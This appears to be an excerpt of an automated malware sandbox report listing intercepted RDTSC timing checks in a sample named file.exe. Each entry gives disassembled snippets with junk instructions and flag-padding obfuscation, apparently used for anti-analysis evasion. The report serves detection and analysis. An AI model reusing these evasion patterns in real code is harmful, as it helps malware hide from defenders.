Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9FEF second address: 4E9FF9 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F39B4DF4736h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA16E second address: 4EA194 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 jnc 00007F39B4C7E9BEh 0x0000000f jmp 00007F39B4C7E9BFh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA194 second address: 4EA1B1 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop edi 0x00000006 pushad 0x00000007 jmp 00007F39B4DF4742h 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA490 second address: 4EA4A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F39B4C7E9BFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA62F second address: 4EA64D instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F39B4DF4736h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F39B4DF4741h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA64D second address: 4EA653 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA653 second address: 4EA666 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F39B4DF473Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EED95 second address: 4EEDA8 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jp 00007F39B4C7E9C4h 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF0B5 second address: 4EF0CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F39B4DF473Fh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF0CB second address: 4EF10F instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F39B4C7E9B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push ebp 0x0000000f call 00007F39B4C7E9B8h 0x00000014 pop ebp 0x00000015 mov dword ptr [esp+04h], ebp 0x00000019 add dword ptr [esp+04h], 00000014h 0x00000021 inc ebp 0x00000022 push ebp 0x00000023 ret 0x00000024 pop ebp 0x00000025 ret 0x00000026 mov dh, A9h 0x00000028 push 00000004h 0x0000002a mov edx, dword ptr [ebp+124663DAh] 0x00000030 call 00007F39B4C7E9B9h 0x00000035 push esi 0x00000036 jc 00007F39B4C7E9BCh 0x0000003c push eax 0x0000003d push edx 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF10F second address: 4EF153 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 pushad 0x00000007 jns 00007F39B4DF4738h 0x0000000d pushad 0x0000000e jl 00007F39B4DF4736h 0x00000014 jmp 00007F39B4DF4747h 0x00000019 popad 0x0000001a popad 0x0000001b mov eax, dword ptr [esp+04h] 0x0000001f jmp 00007F39B4DF473Bh 0x00000024 mov eax, dword ptr [eax] 0x00000026 pushad 0x00000027 push esi 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF153 second address: 4EF17D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b popad 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F39B4C7E9C8h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F0DDE second address: 4F0DEE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39B4DF473Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F0DEE second address: 4F0DF6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F0DF6 second address: 4F0DFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0353 second address: 49A0370 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39B4C7E9C9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0370 second address: 49A0375 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0375 second address: 49A037B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A037B second address: 49A0388 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push esi 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0388 second address: 49A03B3 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F39B4C7E9C0h 0x00000008 add eax, 4BACE0A8h 0x0000000e jmp 00007F39B4C7E9BBh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A03B3 second address: 49A03D6 instructions: 0x00000000 rdtsc 0x00000002 mov ecx, 5A6532BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [esp], ebp 0x0000000d jmp 00007F39B4DF473Eh 0x00000012 mov ebp, esp 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A03D6 second address: 49A03DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A03DA second address: 49A03E0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A03E0 second address: 49A0401 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov edx, dword ptr [ebp+0Ch] 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F39B4C7E9C6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0401 second address: 49A0440 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, 2B601644h 0x00000008 mov edi, 206A52B0h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov ecx, dword ptr [ebp+08h] 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 pushfd 0x00000017 jmp 00007F39B4DF473Bh 0x0000001c xor cl, 0000005Eh 0x0000001f jmp 00007F39B4DF4749h 0x00000024 popfd 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0472 second address: 49A0476 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D03B6 second address: 49D03BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D03BA second address: 49D03C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D03C0 second address: 49D03F3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, eax 0x00000005 movzx eax, bx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], ebp 0x0000000e pushad 0x0000000f push ebx 0x00000010 mov bl, al 0x00000012 pop edx 0x00000013 mov si, ECB5h 0x00000017 popad 0x00000018 mov ebp, esp 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F39B4DF4747h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D03F3 second address: 49D0475 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39B4C7E9C9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a pushad 0x0000000b call 00007F39B4C7E9BCh 0x00000010 pushad 0x00000011 popad 0x00000012 pop ecx 0x00000013 pushfd 0x00000014 jmp 00007F39B4C7E9C1h 0x00000019 add ecx, 1312E386h 0x0000001f jmp 00007F39B4C7E9C1h 0x00000024 popfd 0x00000025 popad 0x00000026 push eax 0x00000027 pushad 0x00000028 push eax 0x00000029 push edx 0x0000002a pushfd 0x0000002b jmp 00007F39B4C7E9BDh 0x00000030 adc si, 9CE6h 0x00000035 jmp 00007F39B4C7E9C1h 0x0000003a popfd 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D0475 second address: 49D04A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushfd 0x00000007 jmp 00007F39B4DF473Ch 0x0000000c add eax, 23DC2888h 0x00000012 jmp 00007F39B4DF473Bh 0x00000017 popfd 0x00000018 popad 0x00000019 xchg eax, ecx 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d push edi 0x0000001e pop esi 0x0000001f mov si, bx 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D04A5 second address: 49D056C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39B4C7E9C8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a jmp 00007F39B4C7E9C0h 0x0000000f push eax 0x00000010 pushad 0x00000011 mov di, 45F4h 0x00000015 pushfd 0x00000016 jmp 00007F39B4C7E9BDh 0x0000001b sbb ax, 9FB6h 0x00000020 jmp 00007F39B4C7E9C1h 0x00000025 popfd 0x00000026 popad 0x00000027 xchg eax, esi 0x00000028 pushad 0x00000029 mov ecx, 1BF3B943h 0x0000002e mov dx, si 0x00000031 popad 0x00000032 lea eax, dword ptr [ebp-04h] 0x00000035 jmp 00007F39B4C7E9C2h 0x0000003a nop 0x0000003b jmp 00007F39B4C7E9C0h 0x00000040 push eax 0x00000041 jmp 00007F39B4C7E9BBh 0x00000046 nop 0x00000047 pushad 0x00000048 mov edi, ecx 0x0000004a jmp 00007F39B4C7E9C0h 0x0000004f popad 0x00000050 push dword ptr [ebp+08h] 0x00000053 push eax 0x00000054 push edx 0x00000055 jmp 00007F39B4C7E9C7h 0x0000005a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D060E second address: 49D0613 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D0613 second address: 49D065C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov edx, 6DD6FB78h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, esi 0x0000000e pushad 0x0000000f mov di, C190h 0x00000013 pushfd 0x00000014 jmp 00007F39B4C7E9C9h 0x00000019 xor ah, 00000016h 0x0000001c jmp 00007F39B4C7E9C1h 0x00000021 popfd 0x00000022 popad 0x00000023 pop esi 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D065C second address: 49D067B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 call 00007F39B4DF4749h 0x00000009 pop ecx 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D067B second address: 49D068C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F39B4C7E9BDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D068C second address: 49D06B3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39B4DF4741h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b leave 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F39B4DF473Dh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D06B3 second address: 49C0019 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F39B4C7E9C7h 0x00000009 adc al, FFFFFFBEh 0x0000000c jmp 00007F39B4C7E9C9h 0x00000011 popfd 0x00000012 pushfd 0x00000013 jmp 00007F39B4C7E9C0h 0x00000018 jmp 00007F39B4C7E9C5h 0x0000001d popfd 0x0000001e popad 0x0000001f pop edx 0x00000020 pop eax 0x00000021 retn 0004h 0x00000024 nop 0x00000025 cmp eax, 00000000h 0x00000028 setne al 0x0000002b xor ebx, ebx 0x0000002d test al, 01h 0x0000002f jne 00007F39B4C7E9B7h 0x00000031 xor eax, eax 0x00000033 sub esp, 08h 0x00000036 mov dword ptr [esp], 00000000h 0x0000003d mov dword ptr [esp+04h], 00000000h 0x00000045 call 00007F39B9407DF3h 0x0000004a mov edi, edi 0x0000004c jmp 00007F39B4C7E9C0h 0x00000051 xchg eax, ebp 0x00000052 push eax 0x00000053 push edx 0x00000054 push eax 0x00000055 push edx 0x00000056 pushad 0x00000057 popad 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0019 second address: 49C001F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C001F second address: 49C0025 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0025 second address: 49C0029 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0029 second address: 49C004B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov edx, ecx 0x0000000e call 00007F39B4C7E9C2h 0x00000013 pop ecx 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C004B second address: 49C0090 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, eax 0x00000005 movzx ecx, dx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007F39B4DF4745h 0x00000011 mov ebp, esp 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007F39B4DF473Ch 0x0000001a and cx, E9C8h 0x0000001f jmp 00007F39B4DF473Bh 0x00000024 popfd 0x00000025 pushad 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0090 second address: 49C00B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F39B4C7E9C4h 0x00000009 popad 0x0000000a popad 0x0000000b push FFFFFFFEh 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C00B2 second address: 49C00B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C00B6 second address: 49C00BC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C00BC second address: 49C012A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx esi, di 0x00000006 movsx ebx, ax 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push 65DFE15Fh 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007F39B4DF4745h 0x00000018 add esi, 01B3F2F6h 0x0000001e jmp 00007F39B4DF4741h 0x00000023 popfd 0x00000024 pushfd 0x00000025 jmp 00007F39B4DF4740h 0x0000002a add ah, 00000018h 0x0000002d jmp 00007F39B4DF473Bh 0x00000032 popfd 0x00000033 popad 0x00000034 add dword ptr [esp], 10BABCE9h 0x0000003b push eax 0x0000003c push edx 0x0000003d push eax 0x0000003e push edx 0x0000003f pushad 0x00000040 popad 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C012A second address: 49C0145 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39B4C7E9C7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0145 second address: 49C01FB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39B4DF4749h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push 5DA5DF41h 0x0000000e jmp 00007F39B4DF4747h 0x00000013 xor dword ptr [esp], 2B30F431h 0x0000001a pushad 0x0000001b mov cl, 13h 0x0000001d pushfd 0x0000001e jmp 00007F39B4DF4741h 0x00000023 sbb cx, 4B26h 0x00000028 jmp 00007F39B4DF4741h 0x0000002d popfd 0x0000002e popad 0x0000002f mov eax, dword ptr fs:[00000000h] 0x00000035 jmp 00007F39B4DF473Eh 0x0000003a nop 0x0000003b jmp 00007F39B4DF4740h 0x00000040 push eax 0x00000041 jmp 00007F39B4DF473Bh 0x00000046 nop 0x00000047 push eax 0x00000048 push edx 0x00000049 jmp 00007F39B4DF4745h 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C01FB second address: 49C0201 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0201 second address: 49C0205 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0205 second address: 49C0215 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 sub esp, 18h 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e mov cl, bh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0215 second address: 49C024E instructions: 0x00000000 rdtsc 0x00000002 mov edi, ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 pushfd 0x0000000a jmp 00007F39B4DF4740h 0x0000000f sub cl, FFFFFFE8h 0x00000012 jmp 00007F39B4DF473Bh 0x00000017 popfd 0x00000018 mov ax, BFDFh 0x0000001c popad 0x0000001d mov dword ptr [esp], ebx 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 mov eax, edi 0x00000025 push ebx 0x00000026 pop eax 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C024E second address: 49C0284 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39B4C7E9C4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a pushad 0x0000000b mov ax, E08Dh 0x0000000f mov edi, ecx 0x00000011 popad 0x00000012 push eax 0x00000013 jmp 00007F39B4C7E9BFh 0x00000018 xchg eax, esi 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0284 second address: 49C028A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C028A second address: 49C0299 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0299 second address: 49C029D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C029D second address: 49C02A3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C02A3 second address: 49C02A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C02A9 second address: 49C02DB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39B4C7E9BCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], edi 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 movsx edi, si 0x00000014 jmp 00007F39B4C7E9C6h 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C02DB second address: 49C038E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F39B4DF4741h 0x00000009 xor ah, 00000036h 0x0000000c jmp 00007F39B4DF4741h 0x00000011 popfd 0x00000012 mov ch, DEh 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 mov eax, dword ptr [769B4538h] 0x0000001c jmp 00007F39B4DF4743h 0x00000021 xor dword ptr [ebp-08h], eax 0x00000024 jmp 00007F39B4DF4746h 0x00000029 xor eax, ebp 0x0000002b pushad 0x0000002c mov bl, 3Eh 0x0000002e push esi 0x0000002f push edx 0x00000030 pop ecx 0x00000031 pop edi 0x00000032 popad 0x00000033 nop 0x00000034 push eax 0x00000035 push edx 0x00000036 pushad 0x00000037 pushfd 0x00000038 jmp 00007F39B4DF4743h 0x0000003d and si, BE2Eh 0x00000042 jmp 00007F39B4DF4749h 0x00000047 popfd 0x00000048 call 00007F39B4DF4740h 0x0000004d pop ecx 0x0000004e popad 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C038E second address: 49C03FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, 7C464DFDh 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e jmp 00007F39B4C7E9C9h 0x00000013 nop 0x00000014 pushad 0x00000015 mov edx, esi 0x00000017 pushfd 0x00000018 jmp 00007F39B4C7E9C8h 0x0000001d and eax, 4C291068h 0x00000023 jmp 00007F39B4C7E9BBh 0x00000028 popfd 0x00000029 popad 0x0000002a lea eax, dword ptr [ebp-10h] 0x0000002d push eax 0x0000002e push edx 0x0000002f push eax 0x00000030 push edx 0x00000031 jmp 00007F39B4C7E9C0h 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C03FC second address: 49C040B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F39B4DF473Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C040B second address: 49C0411 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0411 second address: 49C0415 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0415 second address: 49C042F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr fs:[00000000h], eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F39B4C7E9BAh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C042F second address: 49C047D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F39B4DF4741h 0x00000009 jmp 00007F39B4DF473Bh 0x0000000e popfd 0x0000000f call 00007F39B4DF4748h 0x00000014 pop esi 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 mov dword ptr [ebp-18h], esp 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F39B4DF473Ch 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C047D second address: 49C04A1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov ch, bh 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr fs:[00000018h] 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F39B4C7E9C0h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C04A1 second address: 49C04A7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B02D6 second address: 49B02DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B02DA second address: 49B02E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
